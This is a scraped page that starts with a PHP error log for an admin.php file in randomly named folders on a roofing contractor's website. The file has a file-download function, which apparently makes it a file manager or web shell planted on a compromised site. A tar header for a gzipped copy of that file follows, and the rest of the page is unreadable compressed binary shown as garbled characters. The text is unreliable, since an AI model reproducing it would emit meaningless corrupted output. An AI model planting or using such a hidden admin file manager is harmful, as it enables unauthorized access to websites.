Fatal error: Uncaught Error: Call to undefined function fileSetize() in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php:445 Stack trace: #0 /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php(1241): fm_download() #1 {main} thrown in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php on line 445 [06-Jul-2025 08:19:37 UTC] PHP Warning: Undefined variable $ext in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php on line 2068 admin.php.php.tar.gz 0000644 00000067630 15032624205 0010352 0 ustar 00 � ��v��� ���:�b�l�B�v�u���͆�j� �B�y�ZkV�����<��=�ݯp�W��W��L�/ \�|�ӳ��)�Tfdddddddd�L\��Fƻ�vD��%+)�(N8a:EbF�(�ё���Fk�o��m�J=�'�1�ʓ1͌�]Ζ���/��2��kz,�����O��T2�IdQz"��$���?�o%+����ר�ÿ����o���~�˿��G��oT��QmVZ�u��0EE���~���h��Gf+aD-%q*1���j������R�啠PFq�/��Hb��Pc�g��fyj!�:Y;F� �Rf�Ľ1 ' ��%�P�T�� �b�H�����1���%#�Q�$���%�D�c�f�&���J(}���gKM�s��#�[*��3y��ݒ��Pح�3k��P�4Bf���Ͽ����f�E�[� ��o4;������<Y�|t.\}�F� ��I� ů�"7f<�å~���̘����)���7>��vr �۷ �FƜ��|����dE���x��R���0</n�%VF����2S�O�8�����Fb��4�q AZi����B�K���TE�!#A���j4�PS���s⫿#>�b��X��ʈ�F�����c��$u;Ǹ�先�7��e�D\n��K�F�g�~�s$ˑ���#s9��Y�� �-JEF�eD~�#CF�F���:/~/�qx��<+�b �$���f vq��O�L�3�� 7���&QRB�O�����e���uJa�<P��L�Ј�o�$=��먜 ��h�y�B�����G�����v� ��W��}��7K�h4; 2����a��0Ϗ��E�K��%�ԇ �d�"Y�Rʌ��1'�0��zXI2����@���>�p<�2� �f��(.�=�t�в���D�'(2�ѻ��Rfh�� �'�&.����S�GHd��9�'Hy���JA�Ea�G��H��~Q������v �Ď��L/���S�2֓0lq#�H�A����(@I� ���Co��!'�+���)��3�B�P�$�%�P�J�B[B$PA�B-�9�,��W2�qq�}�3���+��NQ�#I�Q.h�^ʔ�rH�0����@����G��a���#!��'� \�8+��V�z�'�����(U�z�o$p�)��Hya����X"�iq����n�����8 �1D�|�?F�Ƥ�?"U�)h�A^�1h�}0��7�Z�[ �q���Su9kK�9P�X��6�L�Q0��|(����j���|��#(e%��B�)h3k���7�z�N�$cX�����yi�j�D��C�(��)qBʊ� �/����z[2�J[ ��ԇH��� ��O$��2(�x��/��L��/U�>D=�_��<�&h`z��ƒ�4�t�% u@��&~�d�# Fn �Q�9�Fc@F��j��6�@��j�4i���bƠv �NF�F��@`�q'R��9���٤A���T}�p��e�]�>Cc���$�hQZ��Mֈ>� ��0F0d����%�� ^�� �Pn$��!tzz��j�|�����w���AP&Ibv� +#Ai���蟉��Y��W�8Y2��\,�]��U~��AH~?��PZ4��� F��Թ��,Eڦ�C���`ė#D�o��4�>���F�/�>C�{t��3�V�4���Chu%�" ��!�3�I��H MFa��9pz�4�� �ˬ��<�+xA�ռ�Cc Dn�._ !6A Av�b���ăXX_ J�='cv� �i�P�cR���#� �n$�jPr<���.M)�:��+��b�$�}�������-[A�"����X ��6|}���W�ϼ8Bz�%5�Q?�������6�T�(�5��x��NFsM�+�b���T삲�˒۹"�u�\*u�z�믜�, &q#��b���H�Sɘ�4x��E���$Z�s*����)\͈���n*�*�&R���1�6�&��dqTg�jT�A'��*ҫ���9�}�b�94R�B��8$3V�d�a����#�lF 4)B�ڔA�|���!�@ 鳮���+,l"�1��y����@'��2��ع��H#��A+�_���8Ī:���9g&�*R#�j�Q+Y�LV�R �@��RMn� �c�-������ )[�F�M�"A�� Ԝ���aQz���9� NN#�����gc���T1a�Km��ih�! D�m��G0r�)����<��C�����Q-!���%.9�背m�8=���idA d����:�"���.{�W��)�`� Z�BS�vg�X�cN���o����e+P� ��E��^����A�C�� ��ߞ^���n�q*����f�V� @���s��.��C��ZXT�-�J@��1<��U���Q��B* ����&���(d�H�N�$�L$~H���K{�E4o�Y�r�T,F�vx�?�f��-�"����P�xU�s�{5JX٣���A$�Q%d�����u_���[_�ם�s�X,�w��F����a"Cy]zZ#���xA��!:(;�&��z�Ԃ�mFh��:��b�eF3ʖ�B3IA�����:V����%;��u���j*����%d�@"d�[b�i<Z�����8D�q�����������n�jM&#u�-���V�H����X4�.�:�u�IhJ�ʅ�anC�_L48�\�_�R���C#���uX�*�}�Ez.!#�AKjh��*O�U�e�b���&��8�� �T�zӑ�w2e�e���&9$e4-1��Sf�!Li�w�]b��v�����m�^0����%�A��6��V�Q@>� ���9U4�A�9M1�1y�v��Ïk�xE�J��,��6����L�g��p�*�% ��%y�F6&?+`�[�BoB��l<w�v1_.��Z�Y*c�m�v2=�f��ŵ��+�z���!?N�� ZJ��1�h �bj��o�/�.�O������o_N��������^7z�X�3�U ��Q��5����`>� ��I�&ć��6���� �h0�#q��A[�`��}�\�� "�Z��V:[j�L��D/���PмӰ�hf����c�d� :)g�2C;���۠q�Lo��K��̳�+;kZ_� f��D�a���*+O<��C�M4mB�MTH�'�Ϗm��i>U��B�RK0/ �9���=�}�t����ο]��?1��,��8Q�GN# ����Lt J'�bi(ֺy��nCs�Ͳ~I�~m�=��4��q2��II2�̼�� �"d�F�,��5�8�Y�*�Ŏ�} c�� R/Ѵ���o���h^���" 3)� �ig���BaKf�������(̗��xNx1`�:�!�������$�������x��0�O0`u���O`M,�~x�f #8�B���m��X씺���8M����8�0�>9h�UB\{Ey���WE~M;�nɡɓYXT� �tX$Ԉ��4�H���{����g��������<k;�<�]X[�*`as�>�]l��!QU�H\Գ%�|�J�hGƳW*̈;��T�9�Ȇ�[����fRCX/�"C��fF�Ci�8}R?e`�:L}��[8��Z� �������L�$.�E�C�7��_�hW�hW»7�<tF�a:��O�A3n<f�E�u��Ѥ��.���5ԭ�Wj�&��Ǝ��QYz��O�u�@Wxč�.U�jeg�tq�c?oO�4���d�Ha�t@,T�B� �|�y� ,�#�6&`{r� 7�a��Sq�1�m�:��dkk�a�q����Z0�z��pRdO�QM��p�m-I�kpʵ��X���Q���~�RGq�>H���w�KBm���.Z���.�z_[] B�M�?4qg���*M�����Nh-���E]�/�1�9��b&��5��s�)xy��� <����aq����VO��J �F-�jR�� H𦻠�R��8ɘ��?� �`��*H��� ���w���x�V>cϞ�'���Z�o��E+�z�� )T�A@���E��u��O��g� �J=FV��5�>�����P�5���~�s[=�UBɶ�L���<ם6���?�6+Y�KAB"�]�2}����Y� )m�H3�Þ:��W���@��0�a�}�KUy%�F*{.�R�[��-R�e�"~[l�'2B�Y ���'/E����S���.��L�����[xq��"��}�tvK��f<7�%qψ���-��!�V�K7f�. G�^b�G �V�; k'��0{?�:+L��9DU�o�:�j�b:�W�,t����9�����}���}���v{4�� Z# ��"T@ ��L�63�B��'h8/}1������@dXF�L:��8{�$|���'Y� ��D�4e)���$~�ճ�HOFh���;�sl�)���Jg�m^:�Q�X�j� ��Uc`R=�3�Ve%�ۊ�^P�x�i���&�Ȟ�C�Y7�bm :bd��� ��Q7�M��U��#'x�K����K�O)_�Ѷ�@_ڪ!s��M6�p�ϗ�X"eع!-��;���R�>6��RZ��#���I�F�� Cyyq;���� �*����;�fd?�uT�Q���u�������Q�_x��(u���K�!�|��3���'�ib� \s$�g� ��(��w��a� wq�������e�öE�\���N�o�ۊ��]���z��Hߋj�{�y���<S��#��j!�(5J�շiɈ��FkḲ<l�ʶ@�IP��sG�奡\�Y��n��\��-<�)^�� *@I/��@5�6.�_����t�����0��h� ��`�*���Z>D�÷o�C���B�e�f��P��V0M�������h bM� ����Ŕ���an�(5���V��ǭ'�rrp�� ��BT^ eE2�D�X���j{}0�-���C�Y� �VV{�H��&KA �S��!KB9���E��9�a�������wu���� ��]��"����!����e7/_Ͳ��TNY%r����' � y��N`� �2Ƀ �F��@¨�����3C�$vr��$1�8�$e3)ͽ� ���Z�J�BϤ��4s4�en�Wp��8�FB ���,m�dzi�\��ak��n�^�����S)RM���Ϥ^j �0�ChK0�tL.O�_����9B,�"�?���^�M$^f K?�W&h�H"`�A��skd(h�t������u�� * PV����R�����u\aT?���T�L�^<�� fQ �/��}j��~��������i���t��?X��FL�'.��h���]D�bC��A�*���Ƭ��ȡg�H+{=��W=��\[E���H��&�����o[M>9��Ջ�Ջ/t�s�ζ�I!��O�l4l��H$2�[~7H=���eN�uC�s�����B����(�,���9Y�D���P��I�FE9d�H'��ݥ@���3>(��,X�n���&�U@�Z}BUTQ2Ҁ�G<�!?�; b��4�2�h�ġ���1⎐��.qL� �j�C�8����4����q�h�s�8j9�c,������E*��{ZI�\�^&��2X2�d#c���07�>]�Ϥ�L7X�+�.��w�Ϟ�<@M+f��2��=D�B���%ҧϸ�f�#*���.=W��v��D��n��@ϗ;��-�T,��K\캡I���H�~F*�L0�U��sW��%�Y��,9�'h�a=^-��&Rh՝~ ��A��U�\{��O+Kb��� ��a�|�s)�<c�AOZ���Ʈ�ָH'�V��a_�ϫY�C쾍&� ۋx�X`<��'c���I.�o��8�� �$ u�����Ao��TaU�Q���N����AS����'�Y%�T����`CV�('9���5���w"I�8����rLˠ3!�~���S}}�%~������Z����7��j�Q��ÕX)|"����DzAb#M��VhRqC�ռ'�G�*T����� £�xv(�&�ڱ�,Rl��Z��7N#�a�p�R�Aa<;����g���B'�?vA���fZBJ8L�6�JmK3��wL��.�:T��iZ������r;�0�[�:�_B�柭͚�f9��Ց ��9�=f<�妚jw!w/h9� ��|��@������NΚh��Z��}R�� /lF#{5�l!�>��5E�=+��h���S��ψj�蜲u���>퐘މ�仝�s���]�ѹ��m�=L���r�B-gc��#���e�)��efMbX��$��.��S(���4~���}B����h��\�Of�0�Yccob7�C'�& Q>������P�O�4��=( E��\���~i�F�C[�� �z�&�j����r�)�f�oAĬ�����:�!��[�)w���Я8\N�ю�@P��ڂ ��� F5�gP�G�(�U�� u-z_��� �d� =�&�_KE�D���QA� #K��ޯ�Jh&�}�e�J��%��l��8 ��#���h���߭��h��ح�!M!���(�� ��kG%���2K�TG��y��m ��<�b�I7��h�vi��K"8�[p��;4�� ,�'n���_��M�,YY(&/�9�&�>_%��)�g�ndڄ�w�Dp���"q�4���h҅�k�C�:Ėc]�z@����I^/ �Un��7u�n��`��~X�o�ib�� m��,����A`g�5��l" Z� %�jc�������[L���f�R�v�Ҧ]�8q4��sn�� ����0Y���YVvH=dq0�&P�˕���o���1�����h��S���Q�C.JjM �_kA����#��sj��<���� ^H<�[*T��ƌ���C��u��k$�FP;#ȟ ~˄p�P�Ƭ���&XqL���J�C�,��[���Ӗ�$8�%C�6SK�n�Z���N*Z�:�����"t����z�/ ����D�8��J�C��1�8�^ �2�"\��lmb�թ�G�vwV�N�S^�������<��B�[��o�Zc�x�y@���C�ҪГ�Y�9i�tb�7)<�d2-e�J&:�e�(�d����R��I������9>��^_3��]�)��Oѧae-1 ����o�D;6���d���ڞr)�z����ڈ�[,�Y��ߪ�q�+'wB~7���[>9Y����m��\�7 ��S�~���/��Y����I])���mr>Z��*1��n�fnxZf��yyO�,n�Z>>�[�gL7U���X��ט2j�xv7.fky��t�Q��1#4����,��n�O�SO�sB9�Nt8���L�B�g+�����Ϊ�M=L��(Ͽ�'��t����-�(�^n�Z>9�K|g�F�M�g!9z*�����ua���t�ʽ�tx1��os(��nq�C�����*�8[(RLw�Ls>y��H��)�+�tVy��=6����E�^R��i�w��{+$��tx�I'b���i�����qySMs/Ɏ(������\\6[�2]����n���K��'sA�6��0X��r�a�1ɴ�t8�=+��;J3�t�,�N�gg�t6]���\*1�1�\9{��g���fz��ɏ�ռ��<��K1�%ߺs:|���4⇻�ټ������aL}��u_�����c�2,C��r�?�4����?��r�e���ke^�?���7\���c7]���{��F����y����J�yoY��w\��)wRo����(�[7�Jo� ���ӭ��L(ǧq�ڦ'�;�%� �n{��ٴ���gۇ���Wi�o����r[��c�b�N�a���┩U��Q�Gߥ�3&��n1���R?�Ԡ��Un[�W�l�4��|a���'I���^�1�_t;��zLN.���yf�$����b�3ys7��EnS�0�^y|_��.?ʮ�n�������T�X�/)�|QZ�[�����g��M�����tzy���4Z��N�G2)�ӎ��ք��((CqK�_��.k$��Ӟn�W���ʘ�,_P��g2�qc�"��A\'�;�ڶ���{@���mog��;�&8X�X]�Wq�&#dhelC1AmfG��3q�a=ど��Ш��z�aS�e[�'�#���X�Xc�����r�r�=C4xN�j$wXm5��#�Q@�'}G*4v����}��q��|�T�(�eOϕf�1�*�K��f�銿[6� \�w���z��-KF��gС���l�� ��f�c�����&l`�@��K����`4hv�|�aع�:��P7-Ș�i6�8l�ґ�����@��QW��%#h��\�]�,nw4���4'�����z�cR� ���-Β�ITE4���q}q��W����ÿL'�^Z^�˂8�����y�J6���L�Z3����W�%+Bb[!�zE �=�4yiQ�M.~��gu�$�����A�ji�#�+�X^#�_�=�X�fD�����r�k%�.�b~;'x�,��♔џC ė�A�`�ыC���1DNG͟pL��Ѡ!�5�f���$N//����C'.�Ӄ��)���B�p,��4vv�}7����YA * Q�RM3<�*/�E�A�+���D�س%�bN�2~û/��i��)@�I\��#j��!���� ����BC� Tk�>uxO0��}�&�C4�W|j�WT���.��0�+02�<��e�zw�8������?������������C����?��?�˿�/�������_P������#�ջ�ؐ�^�P���x!�U�8T�<���ވ4Ԧ�ߵd4E�W�� �o�-v�G���Pmz��]R�el'h��n�z��:Yk��M9N1�z`�v�:�<ѩm����MF�#���)� $0)$]Q�t:@A�e�Ѐi剎�Wk\ժ~��,XCD�`�I��L�Õ����������P`��@i~�pYk��2�ּG���W�Տƶf��g� wE��3�N��]�+�ʀRW^"iUM͎P�<4�}�����u2w��7�����c(��2]8%N��������Y �x_D�Mu�2�J�Xn����=��f��)�;��߂����i���Z��MW�Õ���G�� ��u����=:{�|`7�2S�� �Ռ�jK#M�� ט�'dT�+<F��LgR��&h̽�S�pJ~<>�Q,'P]�}�O�S"'���u�.F�1'�0�2DK�q]�z�¿�ֳ�)>a=Lwh1�k�z��gD�Xڙ�2��+���u�R��%�H�R#!p)�qW����`�T���3PҾ��פ���iy�u����z'G<:��z�N�=Ŭd���1e��Z#n�~��k`oBW��E���Z9�����e�H�����>˭g{��?������yLE, ��f�,K6Ӂ?h��ȍ�;���-���pa��\��kنG��_����:�,4(�_L�WyD�����t�Y�;a�r�+s��7�x�kq��+�{0��=��z�5(�Bo����� ~.뺙���i�8��o�r~|����8NQ�?"�+��A���Hsb(���e`�L>�M&U��hk�݀B�RE�e`Í���]s#�~B}���e�@�1�>c�v\�tu��!�~N��Ն�ǡ8���]'��X���n1��C�Y�#Wث��b7#3�:0�[' ��4X����Z�.��M��������ɔ5���D��z�Ei���!����-��]T��8�U>��N>��}8��l8�<S�~BLia���L��5Ќ}���n�<�jo%��\��+�Wdg�z��b�o 3H�M�%n���<��~��ֹu� ���a����ѣ^Ki�]�SB1���A�H:n!3]��<`�-�Y�{XX�k�;̀��L�\��k����\lkИ�X��U��H��iڒ�̗���[U�SʙÈUk�ķ�ł@0g{W�h�4K�f�v"o����,�P��,�������9Ȣ����,~Ľ@��Un�<(�� o�v7~����ݗZ]����]{ ���];2�y�5'/�����-� n���u��]��@���������q��)�3�.�,[hIJh"����M��vL�����7b��!'���"�X5��%����GY<�GX5ắ����V�4����w=O�Ywo�{��s��0�������@�������,���S���(�~�?�x�`4�f\�˞�}�;�x�Rm�G];�ō���l����_��@�G�_BK����Pp3��Q�!�u\���.E�0�'i��L�2C1\#�-�hh�ՠ�8Ȩύ �Ja�!�T�� ����_Vk������F���}��.ۏ(1}y�.E��e����"#�*��C�K�28�&��NZ��u@Lh�Kvj�5�e] 朎|-�p��ȧޥ|N��zx�n{LtGf'go ����ma�q�p�Ƅ���,�L��A��4���� Ў��c@?�l��=�nʍ=G̗ �~��X"baߖ~�� ��jJ�D7(u� �Y�8 �>E� �������1�������J��1a�7$��vI?�Ⱌ�HP�K�Usk�sU�iAb��5{�7n��X:�0��VF�4��y��C�H EE�65IOFT쯑_�679���|6�� ����3��c ���N?xًQ3�:�BQ7g���-��T�?�lZ�.Ԗ�HA4Ů=�_�<yFx \u%<�ϭ>�x�"� �� T88D68\ٛ��߁�����<�]��<��� ����9�^�mнi-��gĕ�e�"T�۪7�;��v�����To���Ҥ�Q��^<U��z��,�;�f�.�nן{�V���H�=%����1%��*AQ�U��[PƏ��_��n��i�m;�r��q�a��@�c�F�p�L� K,��/!Y�^~ |~�����%�ߝ������H@�18�o�)E��䁶����� ��Z��Y��g��ZC�����Z_]��<����X�^��D;�;l�'�\�����c�¬7h�e|�r٥��S��@�x�W~���+I����_.�[�_��-I��Ph�8ͭ1��S��`�!G�?M����M��{@��Yn.�!�<�U4�p¹�".�����s�͜�|�f�i��֘���N��b����(� �I�5��j(&�|&�Y�T�Tʜ���Y {�ô��*3���p��O�*��r�t��pQ\Pk��r���:gl8�bC�|�P(fh�sa�(cmgGl�� z,��5�2S���X�=Ѓ�i��˰�xV�\�hDޯ�ᱳq 3�w��1��q{�(��bӎK�м��sHx �_J�r���;��4Z@�I/dK�R�T<<�,@:�7���*��6���TIB\ _�1��c�L%s�kA�v+v�U!�I�/E�E�@�"u�R�4���'�$+�F3��N@c�:K��Upm�Sgh���J� �O8�~#���'u S�Dq|�k���wQ�K3e�&T�]h�<\!�+��8Z�ςj�1+E4w������u����堼�N�+����p��&9�l�.: ��/<0ճ�0�����m�jׅ�01X��|�z���Ы�/+�d2�n�).ϗ�uw֭�*7E.�ᄡ�������8EK�^wTn���r5�M�|�9�w�^Y.���D~�Rcn��L���R6���3gL�,<l������s����f�/�w��R�����^�5��K�\��bV����u>_�so�b�n���}i#��z�/���z1_�w�]awMo�ׇ%?���{����Z��/2�����o�Eq���"��R������Ix���� ��?�|���3�B�3��P�i6�v���|e��Z�v�!�oL�|�p�Kj�z1��+5��.��ޡ�W�.�V�W���|�=@e�9~�˵W�rs�:2��r��C�կ���?�g)�����v���?��/��FX���B#OOs� ��b�Һ�N�3�.Ք�l�!f%>�d�\���p��}8= K#Ҭ�&�u�^�U�|� ���g�-�i���'l} ���ݼ����S�����.��K�1�ݖo����i2I���~J��I<U�r7���_�.�ϧ�-ֹ��ҵ�Y�>J�g�t}T���8���ۏ��Ǣ�M���Q?]^�oo�)8�{۾u���%�����.�|����?�Zuf6�o������O�G���mv����槥i�+�FgI:���.;�A#e�h����:߹����""K�X�� �*�)T�o���P���v�[ś�N�aV(�����8��6̏w���qWh15�3ʧV�1U��7%z9+�d��]���*���N�}�p� ���|:}Z�R�Q�V@�n����j�^V�Fw���n�ҫ]Ojg�i-=�o��e9�l7]���h�ת�n'�-�{�3MV�VU���ۅ�{o�#遹�o";yxML�b.��m6�i��v_���(ʝ�\4�l���;i;{��^7�UJ��s��x�Оv���N�<�զ�V�Ю����~�v:�.>��c�y)�*�ś�m絼��Hb+<z���,>�Ջ��e1שoY�|_n��\�nw�]<�_�e��.+7��"ݮ�_�ׁk�KN`�ծ��" �jO/�)�K�/���,�˷��M~�tR�pM����L���n,�0���B�i2]%!��$�D���߮�}V,��⋹Иn7�̣".�:���/��,��]��V�ɟ�b�z� sO��}l��4f���65n�a5?��|�z�wn��XJl���۵�h��R�_�z�W�[�*����w˷�^u'�{����ľN�^.�T����'�q&�zw����_���2���� � v��pׯV���uz@�_�����&vVZV�S�G��w�i1q7��S��(7^S����T�����m�VZ��V"˽%^_�r��q{gߺ�fw0�]�ҳm�f�L�}�%3��Yg}�֖�L?֩�l���d�x��ڷJ�56��f�eXD�xe�Ӈta���z����AR��$3�]n������+��šRg�V�p�/Hi4��w�̄e�I!<۞��x�~Lf�t�T�V��楠�wo�in��m�o�q=7�z��Ө���f�c�)�o�V�rN<�U����*T��w/�D�:1�i�Du��.���.�L?�))w�\�7�˗��-���ՅE���뉒(0lE��W.���n�U�Y��J���YOL?2�~���1F��V�*3j-�|�%��e l���"/���@n>��j�,��cE��Ƃ�{\m�z�8[ �݉]���A�U?���Q������M%ü-�V��d��f��'��m�>Q��+���-�V�5���X�$��(u���V7�T�^_����5;('�O�d"s-��7�Ny����d&����W�Uz�'#!�� ���i����k�B+=.��t�wW]O���C,\d����l^OW��1�Q2���z<�nG�yz'��©�M29���=���+&w�I��k�>\I�t�>{��{( �b�0�4o��j�qSφ����0ܼ��� �K�����~h� �ԭ2]=�vE�5wR�:�Nϛ/���d5��dz�Z�$Sw7���Y��ާ��2eb��S�i�J�o�X'ӺA�Y*�]7��v��F[<&�Y.;i^��I�nd+i$�+� �\77�ve�e��YMn.�Nm�l�t6���k�����:��c�(��эP��VC�����v�n�^�����v���k<��l;M��|Lϊ�+u�Ƌ�W��\&j����zv�o�_��ë8���Ax)���.��g�zx���+��?Ln�l�A�u$8^�b�"��x-/�|/��o}�9`$�[7����NY=4�ok����\k���eP��b��&s&UŴ<�nٱ|��v+���c�u�[�^��d��Y+�4��H�����la'��CE�l�^q�X���Q<w���8�O^�BKW��[i�Vң��l*&��|55^�� yӎ�2���s?Pnv����d^�0�TZ���k�4>{T����Ӱ��4n��4;@sm���s�3�y�c�x��w���DV�����p5��Δ��6���ٷ$��ެ�����ao0Qn���}&s�R<���ěçke��o���um�IijB7�J��{����/eb��v���z��5�xo>x���Ʀu-�d&��$=bK��۬�,_#�L\?��IJ�X�2���Y��a�_e:�M86�&)�:�'��&v_���u��{�L��yILvo�ݘ��&b�ji(J�l:q�L&�a8�)_wf��'�C�h]Z7��oS��]"����k.�H���b�>b�ĕG��I�דFfHO*g�Ӥ� y�M���U6�4���\'����K�Ø/%���}|N6�����暝�ήG-zT�����d�o�J�~Mq�j�?���4���}�~��섇�����u:���jU�ד���9�4c�yKLv|�I�v<�J��v�N���,�=M��z�Xo�V6O��x�\�g��N���]�D:1O˓^'v;ɾl�:WΧ�ot��>�a]W�(|�����t�x�L㘝7��l0BK����Z 2B���q�o�&�b~S���l5ۄ㮌c��v��N'!wZ����s��� �X���c�锹�^wV�n�;B����.���窅Ҹ�x�"]�ך䲉�ٶ�N�7�T�Mk�T,sK���}���뼔7� ��=eZ\w'=.�nJ �&�V�I>k$gi��B9�����]eM���xQy ��0��*��7���<����jo���sIv��KT�;��R>۔��Lb�0�uof��4�3��nj���ƙ�ﯗ���$]Y5��v) �Bg��~C+�r=_���7�a�^?M�+�v���zk�V��l��%����j��0p�����y����Rw�:��x�)��C~�Z�~3y�V|�uv�Ǎ< �z��Y�ѩ'��FI��6 ��I|1J�����Z���d��{�2�lJ�%����3�kJ|�Rh2��u����p���l.��rm���SlXY^�5����P����.��q�I>�*o�rgSMO�\�^�լ_h���HQ�nù�_�J�OV��T��[&:�M���`�D��t^ګ�E�x�-F7���K,,Q�������?-/Z^����iy������O�˟��?-/Z^����iy����ϱ�t��rnV)�^T�K�}�Hw \U���6�4��k���Rg���.o�y��wʛ�}��������U�w��2+�vgh��0�i_(������zr*3�^�M��,���z� �wh�5Oj��<���V�����!3���V���t�f���l��F��X�7�m��+�kw�.�����m�nһI�*l�+����b�Q�/�f$���1ð���wC!��7�̸�ԘZ�:/�f-R�Z�|�[�F���,��*��[��R���e���\k��P�YZ[JO�p��&���T)�ˏ��L��=��,�.͛O��v�ʊo�r'��]����;����)ߞ�Kyzrד3[f�H*Bm���ҕT�f�:KM��t�=�T�i�v��0x]̪��c����L�pi�HǕ��ҭ$+���c�Q����j<moo��f�.^ש[�R\p7�v3oq�ۻZ��m1���b���%W���[z�H�ޘ���:�^���͋����n����E��{3�kg��M9v�*r�J<=��IJqˆ�/�l�y�Ƀ�8��6�e��X�v[n^y��[�݊�]�1.���jT�]/طTi��j���u]-6�g��K�o�c"FF����j����F� ��(�&��hy��G7̼��ۈ�/�ڂ�+M:�h&ϒ��j��q�l�-�[�f�M$���~fu�����H���儰C�[C&�'����e:O�gOK����m�l$.� ���]5���o��|��e��[w� -�z�E��� 7�y�W�իoL|pk��v�>k�7�Lq���ۗ�P�7��:H�j0~�O�p#�7��0��˶�A�N��,R4]����S�1��S�.3��0���L+�����݈[���a����e�pv�K����w3 ׳&�۶�w&7)m�� �ʽrt��9����dj��h>����=���u��F�0-s��b)+�N~k������}'�ZչM�e����a���~e9�^�ӵAX�s��4�+��8�����J7�������'�9��t���89�f�j�ug��hr��\S5��9{���˧Mm�Z�� ��ފ�s�qVV��m^��fs��Ћ�*�ގK���7�A��K�[��r���f���5v�th��~���dnӥp����z~Kewo����r��Qn��Ao�����Z�[?�O���u�3Lb�De7x(�3n�.���iл���h��xnZ�J��Ҙ/n��ypw�����2?L��Ac^on^ަ���/�2�PN���ŲR�1�Jk2�:��D��g^^۾(���]-�/|�X�u^aER*�Ԡ��[0�R�P��Eq'� |\�����2_��Ζ��l�����>Z��jŘ���s�r}�l��[}�p[,�ή�3�Q� �n�:����4h�-�$Sݔ��h0H���z�1�ʼ��+a�Tkޭ����u��*o��F�i�z�}�o�\��6y�G'{�Q˵|��k�n��~��]1�E���c(y$����9 -�-9@q�MĖ�S�������:1���˅�����2��z3�ń�g'�k�����ilOa�\Pf�h(!�㧿;�w5�k�@�@�^�? $YL-�,#�G���_�` vA�P��$���^��9��pкp_�ƹx�XyV���}_��%@8!G�Fp^��dA"k]���h%�+/� �ͯ��9�^��^o��SMp��%�\D�/i $�T�4+*���*��Z�z5�n(� 7/�PN�p�;HV������� ��T#S���#6�k�x����'5v�9��9�qM�B��{���!\��*�l��GIT�(�]����h)q�oS&���H��Cp�g�L�e�c��F�J� �*(��%�;慥�H�@[��gS��0��h��<���R�f<��Oϋ��/���{j�J2D�S ChMX�px��pg�^�A�*+������T9ږ�5l��D�c�l��)�&��º�P�j�ʧ��<C�Ba��P�[.�0X#�ֵ�v��p&��Q�En�@@�^�L�#%=��DP��A#۱j%����^�����*�T�96�mk���.�$RpD����1 F,�tZ$���XQ�Da% �! ��鸸�{��O��~��!��a����r�:���q�[@�_�o/I@�=)�lQJ7�u9�q��}(��ճe����O�/�0��s@I;��nʜ%b����-�b����8��W=��X�0�_�c���vY,���6��l��u����-R�5r�!h� �n�\�� �ǣg�nMA�=��?�".n��Hi�� g\e�v��`>�9%�/�m��H�#�[")�^O�ԯ'�z^O���gR��̍#�� ��D�Z�&ż��<��2 cMޒE8��f����O#�$0(��[�`->�v�!���!�& ��i�\��iQSf�!ST!�/���SfڽM���*Ѫ�����K�«ϳ�a�YNkЗ+JEP_y |��� ���t�z�j]�AH02���뤟i@L��+�mv�����$���ј�?|1q�ƈ8刎��ƞ�n��P,�t]u�f���T�t��*��\����<̕�GH70�iz���t\Nl�h����jU��b�8�����xg��b���=jC�v�f�1(���Q�������-�V�m�����.y��b!�� ��\� ���O���S/�JK�d�� ��LL�Zq\R���q{.��'�qY�F[�OFȘgGG+�Y}��س���E�Q�KD�(���@_��i���S��үaV��~��� �T%|�Ts�� C@�ap��h���ȎkQ�sA��\5߂��G$e߄��x&�+U ��}��1�p%Z?�BR3J>�$���/��^�q�e���zH��H�j��K{}p7*<A� �_g��_�'� ���闠FQM�'��~�#�?�4A0ȋ�XD���m{������A��2)$��OӖ�ڈ;ܮ���KXw�� �۩>ϒ��_�Z�h�p�9���ܟ��P�p �A:N���U��C����| �u��nAӽ3�:�[��@.jG�]49ف�7��G�rT��+@&�x�(OČ��n�o������π\ �w�H�//�׃��l������x<����1�ݯI��F�#�8��W��Y� >��J;� ��ѭߍO A��\�̌R�_!�h4���M�9���أv��Ң����.�� 5byX �8��j��>�e0�HT� �/kW#J��� �#h�equ�@_.�:�����������8��E��b���5�Yw�z�SU=�b��)RdG,����U]u��C �1�S��k��� �r�;Q�S��>����ggE)K�:ؠ���L1- �'�2���کE[����TA@�Qo-�: j����8� �4#�Wel^�S�~�ݿU����crs��$�R&����u��� ,ֳ�8v��R�ص�<�D'�p �;�o�O,�JCz�×[�Nu� 9�8��{���rF��mGVe���a�5�`�������P[��T!$T��H��r��$�}6�@��c'��j�n)�C�DN�� ��?�G��eP��&�C��Q���I�}�9@���t-º:_8��[�H���0KqcB��.p��s7|�}Z��LF���Cԙ��t�f�$ �c4�?���\��?��15��߾U�Ī�s���K�g�Hj�n�w��0����*�Y�l�G�#�x:��9�u�Kٜ�읁���ۼ�o2�U:& �ʼn���am�y���q�����>�1�Z_5O����cj3O���:��7]�a.DM�sщ::,���Ș�DZZ*�W��.��05����JPFK���G}0��qU�6��%!�W�_UgKO?d�/�Ayi|�SW�Ŋ������~��_������ ���3�Ȏ���r�b����`�����x����+SZ�T=0��0,��� ���2���-s��j��+�? �x�<�6��ܦ`�BuytJ9y�_�x���K����w炆�ћ\��Jz�A���w{� ��0W�p�i$��f�0�z��˸N�����m�z�tUOf�{I�uu������B��[|�� �.b;��ڜZ,EҊ�p�f!��謫��@݄��`���L 6��z��YH�I%�:J��D(�t� �s4�N*f����ͰQP��_Ū]��t��c7��Qm�Q}��@w�Z��5s�G�e�-\uK���A;!�@��U����8 ��>�!�� Q�q�@�8�P�{K��ufv��y���o櫓���oq� nE� b�&��rXfL�K�&K�q��!r�f�Hk�h��z�>��v�Ndq%ᛄ]�$��e�� '�c"�$aN5, ��>� ��y飡�}E��1����G��2W��J|��8~\��EI��t<� [I��e}��� ��T�<�/��z�4"{��k, �a����,8B� ��pc�S�����k�����R&����X��pT��TOr{Cmkf�����њ �H3�[�Gl��h�29fO�7���c u01�� ����Q�!�}�9�b�W�B-[ ���?�P � ��j���I�<�Ok��n�;V�+A�a o$.�+�!��:��Ѩ���J N���C�K��f��}�G+r��̛�Gpw]D��kr�Iik�߁��"�^�=��/���.�������$1��'yi�� ��s�(|@�:���z�!v�䡢@4�2���B���/�vE5[�� #�9 